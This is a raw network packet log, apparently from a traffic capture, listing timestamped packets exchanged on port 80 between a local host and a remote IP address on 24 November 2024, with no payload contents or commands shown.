Nov 24, 2024 02:13:27.615648985 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.615690947 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.615773916 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.615818977 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.616482973 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.616532087 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.616600990 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.616638899 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.617304087 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.617351055 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.617428064 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.617470980 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.618105888 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.618151903 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.618227005 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.618273020 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.618920088 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.618967056 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.619014978 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.619060993 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.619745016 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.619872093 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.619891882 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.619940042 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.620595932 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.620641947 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.620774984 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.620832920 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.621448994 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.621495962 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.621572018 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.621622086 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.622286081 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.622333050 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.622397900 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.622432947 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.623048067 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.623092890 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.623146057 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.623199940 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.623847008 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.623891115 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.623929977 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.623974085 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.624692917 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.624743938 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.624828100 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.624875069 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.625493050 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.625543118 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.625607967 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.625652075 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.626307011 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.626354933 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.626415968 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.626463890 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.627135038 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.627180099 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.627228022 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.627262115 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.627947092 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.627990961 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.628062010 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.628113985 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.628779888 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.628823996 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.628895998 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.628957033 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.629591942 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.629638910 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.629677057 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.629719973 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.630399942 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.630448103 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.630494118 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.630541086 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.631211042 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.631258011 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.631333113 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.631380081 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.632041931 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.632086992 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.632136106 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.632177114 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.632848024 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.632893085 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.632963896 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.633009911 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.633686066 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.633729935 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.633878946 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.633924961 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.634548903 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.634608030 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.634681940 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.634741068 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.635301113 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.635348082 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.635390043 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.635433912 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.636138916 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.636183023 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.636225939 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.636265039 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.636944056 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.637000084 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.637048960 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.637096882 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.637765884 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.637816906 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.637897968 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.637943029 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.638591051 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.638637066 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.638709068 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.638756037 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.639410019 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.639448881 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.639528036 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.639574051 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.640225887 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.640278101 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.640330076 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.640376091 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.641076088 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.641123056 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.641166925 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.641201973 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.641869068 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.641910076 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.641974926 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.642014980 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.642683983 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.642721891 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.642803907 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.642843962 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.643516064 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.643562078 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.643605947 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.643654108 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.644345045 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.644385099 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.644438028 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.644478083 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.645147085 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.645190954 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.645381927 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.645420074 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.645958900 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.646006107 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.646058083 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.646097898 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.646775007 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.646820068 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.646888018 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.646929979 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.647547960 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.647588968 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.806046963 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.806154013 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.806176901 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.806287050 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.806474924 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.806518078 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.806588888 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.806633949 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.807274103 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.807328939 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.807399988 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.807435989 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.808108091 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.808134079 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.808152914 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.808166981 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.808917046 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.808955908 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.808994055 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.809034109 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.809748888 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.809792042 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.809840918 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.809886932 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.810564041 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.810606003 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.810658932 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.810698986 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.811388016 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.811441898 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.811491013 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.811536074 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.812184095 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.812237024 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.812283993 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.812330961 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.813010931 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.813055038 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.813113928 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.813154936 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.813854933 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.813900948 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.813946962 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.813992023 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.814659119 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.814723969 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.814762115 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.814804077 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.815466881 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.815517902 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.815562963 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.815609932 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.816297054 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.816348076 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.816406965 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.816447973 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.817115068 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.817156076 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.817224026 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.817270994 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.817965031 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.818011999 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.818058014 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.818095922 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.818759918 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.818809986 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.818849087 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.818887949 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.819575071 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.819616079 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.819684029 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.819732904 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.820425034 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.820470095 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.820516109 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.820553064 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.821219921 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.821260929 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.821300983 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.821340084 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.822038889 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.822083950 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.822137117 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.822176933 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.822854996 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.822900057 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.822966099 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.823009968 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.823678970 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.823724985 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.823770046 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.823812008 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.824492931 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.824536085 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.824594021 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.824636936 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.825326920 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.825376034 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.825429916 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.825472116 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.826138973 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.826183081 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.826251984 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.826296091 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.826946974 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.827033997 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.827068090 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.827110052 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.827776909 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.827816010 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.827879906 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.827919006 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.828591108 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.828638077 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.828689098 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.828727961 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.829407930 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.829456091 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.829528093 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.829580069 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.830251932 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.830300093 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.830344915 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.830390930 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.831059933 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.831105947 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.831154108 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.831196070 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.831871033 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.831918955 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.831983089 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.832036018 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.832684994 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.832734108 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.832797050 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.832843065 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.833509922 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.833559990 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.833606005 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.833652973 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.834347963 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.834394932 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.834450960 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.834497929 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.835155010 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.835203886 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.835267067 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.835325956 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.835968971 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.836014986 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.836061001 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.836107016 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.836812973 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.836886883 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.836930990 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.836975098 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.837616920 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.837662935 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.837729931 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.837776899 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.838438034 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.838486910 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.838557005 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.838601112 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.839243889 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.839291096 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.839346886 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.839387894 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.840086937 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.840135098 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.840178967 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.840224981 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.840886116 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.840934038 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.840998888 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.841044903 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.841706038 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.841753006 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.841821909 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.841880083 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:27.842541933 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:27.842590094 CET	49748	80	192.168.2.4	185.215.113.206
